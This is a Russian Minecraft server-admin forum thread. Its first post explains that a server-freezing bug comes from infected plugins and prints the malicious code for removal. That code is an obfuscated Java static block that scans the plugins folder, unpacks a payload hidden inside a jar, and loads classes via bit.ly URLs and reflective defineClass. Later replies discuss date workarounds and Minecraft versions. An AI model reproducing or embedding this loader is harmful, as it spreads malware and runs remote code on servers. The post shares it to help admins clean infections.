1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
  2. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

Решено Баг с 1 августа

Тема в разделе "Помощь", создана пользователем spy_me, 7 окт 2016.

?

Помогла ли данная тема в решении бага?

  1. Да

  2. Нет

Результаты будут видны только после голосования.
  1. Автор темы
    spy_me

    spy_me Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    SPY_me
    Проблема решена! Ищите в зараженных плагинах код и удаляйте его.

    Чаще всего встречал его в плагинах Славика. Проверяйте его сборки перед использованием.

    Вот "Лишний" код (вирус), который надо удалить из зараженных плагинов, для предотвращения заражения остальных.
    Код:
    static {
            try {
                File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
                boolean b = false;
                long n = -1L;
                int n2 = 0;
                final File[] listFiles = file.listFiles();
                for (int i = 0; i < listFiles.length; ++i) {
                    if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                        file = listFiles[i];
                        final byte[] array = new byte[(int)file.length()];
                        final FileInputStream fileInputStream = new FileInputStream(file);
                        fileInputStream.read(array);
                        fileInputStream.close();
                        if (array[15] == (byte)(array[16] ^ 0xBE)) {
                            b = true;
                            n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                            if (n > 0L) {
                                n2 = (int)n;
                                n = file.length() - (n + 2L);
                                break;
                            }
                        }
                    }
                }
                if (b) {
                    final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                    randomAccessFile.seek(n);
                    final byte[] input = new byte[n2];
                    randomAccessFile.read(input, 0, n2);
                    randomAccessFile.close();
                    final Inflater inflater = new Inflater();
                    inflater.setInput(input);
                    final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                    final byte[] array2 = new byte[1024];
                    while (!inflater.finished()) {
                        byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                    }
                    byteArrayOutputStream.close();
                    final byte[] byteArray = byteArrayOutputStream.toByteArray();
                    inflater.end();
                    final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                    final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                    final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                    declaredMethod.setAccessible(true);
                    ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
                }
            }
            catch (Exception ex) {}
        }
    
    
    Можно заранее сделать сейв плагинов и просто перекачать их.
    ВАЖНО! Сервер должен быть выключен.

    Спасибо за решение бага @Dymeth @xtrafrancyz и @_AndreyBarna_
    P.S. Кому интересны подробности - читайте тему)
     
    Последнее редактирование: 26 мар 2017
  2. Tend

    Tend Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    Tend_PvP
    втф ? :D
     
  3. slavik123123123

    slavik123123123 Старожил Пользователь

    Баллы:
    143
    Имя в Minecraft:
    Leymooo
    Хз. Баг какойто. Сервер на отрез отказывается работать если дата после 1 сентября и дальше. Тупо виснет и все. У меня так на двух серверах. И приходится ставить дату на август все время.
     
  4. Автор темы
    spy_me

    spy_me Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    SPY_me
    Пофикшено, ищи плагин в сборках, путем перебора, удаляй его и потом надо стереть всё, кроме мира, плагинов, пропертиес и ядра
     
  5. _AndreyBarna_

    _AndreyBarna_ Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    MainDRY
    а ок
    online-mode: true и все норм
    Поставь дату на пару месяцев назад и все.
     
  6. NuaN

    NuaN Активный участник Пользователь

    Баллы:
    96
    Имя в Minecraft:
    NuaN
    Ну или лучше год крутани на 2010 ))
     
  7. InterVi

    InterVi Старожил Пользователь

    Баллы:
    173
    А в чём суть бага, кто-нибудь знает виновный кусок кода? Очень интересно, где опять наговнокодили.
     
  8. slavik123123123

    slavik123123123 Старожил Пользователь

    Баллы:
    143
    Имя в Minecraft:
    Leymooo
    ну 1.9.4 не такая и старая.
     
  9. Support_BD

    Support_BD Активный участник Пользователь

    Баллы:
    66
    Имя в Minecraft:
    BD_
    Ору, дурак, разве 1.8 - 1.9 старые версии?
     
  10. InterWall

    InterWall Старожил Пользователь

    Баллы:
    173
    Логично, что да. Актуальные — 1.10, 1.11 (в разработке). А все, что ниже, уже старые.
     
  11. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    В модификациях актуальны версии 1.7.10 и 1.8-1.8.9.
     
  12. InterWall

    InterWall Старожил Пользователь

    Баллы:
    173
    Речь же не шла о модах.
     
  13. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    Понятно.
     
  14. Mr.appleXZ

    Mr.appleXZ Активный участник Пользователь

    Баллы:
    78
    Имя в Minecraft:
    mrAppleXZ
    1.8 не актуальна, 1.8.9 и 1.9.4 уже тоже. Актуальны сейчас 1.7.10 и 1.10.x.
     
  15. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    Покажи мне thaumcraft и buildcraft под 1.10. Нету? Тогда о какой актуальности 1.10 для модов идет речь?
     
  16. Mr.appleXZ

    Mr.appleXZ Активный участник Пользователь

    Баллы:
    78
    Имя в Minecraft:
    mrAppleXZ
    Азанор пилит таум под 1.10 (альфа версии уже есть у него на Patreon-страничке), а билд можно спокойно скомпилировать из репозитория.
    Хотя не, билд скомпилировать пока нельзя под 1.10.
     
  17. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    У него репы закрыты, насколько я знаю.
     
  18. Mr.appleXZ

    Mr.appleXZ Активный участник Пользователь

    Баллы:
    78
    Имя в Minecraft:
    mrAppleXZ
  19. Will Orion Z

    Will Orion Z Активный участник Пользователь

    Баллы:
    76
    Имя в Minecraft:
    willorion
    Я про thaumcraft вообще то -_-
    Форк билдкрафта то у меня есть.
     
  20. Help

    Help Старожил Пользователь

    Баллы:
    123
    Выше 1.7.10 совсем нет модов?
     

Поделиться этой страницей